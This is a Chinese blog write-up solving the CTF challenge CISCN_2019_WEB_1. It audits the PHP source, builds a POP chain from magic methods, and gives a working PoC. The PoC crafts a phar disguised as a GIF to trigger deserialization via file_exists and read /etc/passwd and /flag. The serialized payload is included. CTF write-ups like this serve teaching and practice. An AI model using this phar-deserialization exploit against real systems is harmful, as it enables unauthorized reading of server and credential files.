BMZCTF:CISCN_2019_WEB_1

奋斗吧
奋斗吧
擅长邻域:未填写

标签: BMZCTF:CISCN_2019_WEB_1 代码人生博客 51CTO博客

2023-06-19 18:24:24 107浏览

BMZCTF:CISCN_2019_WEB_1,http://bmzclub.cn/challenges#CISCN_2file_get_contents()//class.phpclassFile{p


http://bmzclub.cn/challenges#CISCN_2019_WEB_1

BMZCTF:CISCN_2019_WEB_1_json


先熟悉下业务功能,注册登录之后,有个上传文件的地方,然后可以下载或者删除上传的文件

BMZCTF:CISCN_2019_WEB_1_json_02


题目这里没有提供源码,自己网上找一下2019CISCN华北赛区Day1的web题

源码地址:CISCN-2019-Northern-China-Web

文件上传这里并没有看到可以绕过白名单上传shell的方法

BMZCTF:CISCN_2019_WEB_1_上传_03


审计源码,发现一个file_get_contents()

//class.php
class File {
    public $filename;
    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }
    public function name() {
        return basename($this->filename);
    }
	.......
    public function close() {
        return file_get_contents($this->filename);
    }
}

控制$filename,然后(New File())->close(),然后寻找有没有魔术方法能做到

//class.php
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        ........

    }
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}
//class.php
class User {
    public $db;

    public function __destruct() {
        $this->db->close();
    }
}

FileList::__call()结合User::__destruct()就能调用到(New File())->close(),将(New File())$files,然后通过将(new FileList())赋值给$this->db形成(New FileList())->close()这样调用是无法访问的,就会触发魔术方法FileList::__call(),然后这里__call的参数$func就是close(),即$file->$func()(New File())->close()

并且在FileList::__destruct()中可以将结果输出到$value

function __call(string $function_name, array $arguments)
{
    // 方法体
}
该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名。
第二个 $arguments 则以数组的方式接收不存在方法的多个参数。
User::__destruct()->FileList::__call()->FileList::__destruct()->File::close()

完整的POP链已经构造完成,接下来看下如何找到反序列化点

//delete.php
include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

删除文件操作的时候,使用了File::open(),该方法中使用了file_exists()判断$filename是否存在,这样就很明显可以使用phar反序列化,构造POC

<?php 
class User{
	public $db;
}
class File{
	public $filename = "/etc/passwd";
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
    	$this->files = array(new File());
    	$this->results = array();
    	$this->funcs = array();
    }
}
$ins = new User();
$ins->db = (new FileList());
echo serialize($ins);

$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($ins);
$phar->addFromString("mochu.txt", "mochu7");
$phar->stopBuffering();
 ?>

将生成的exp.phar后缀改为gif,然后上传,点击删除的时候抓包并触发phar反序列化

filename=phar://exp.gif

BMZCTF:CISCN_2019_WEB_1_php_04


成功读取到/etc/passwd内容,修改$filename = "/flag",重新生成上传,读取flag

O:4:"User":1:{s:2:"db";O:8:"FileList":3:{s:15:"FileListfiles";a:1:{i:0;O:4:"File":1:{s:8:"filename";s:5:"/flag";}}s:17:"FileListresults";a:0:{}s:15:"FileListfuncs";a:0:{}}}

BMZCTF:CISCN_2019_WEB_1_上传_05


好博客就要一起分享哦!分享海报

此处可发布评论

评论(0展开评论

暂无评论,快来写一下吧

展开评论

您可能感兴趣的博客

客服QQ 1913284695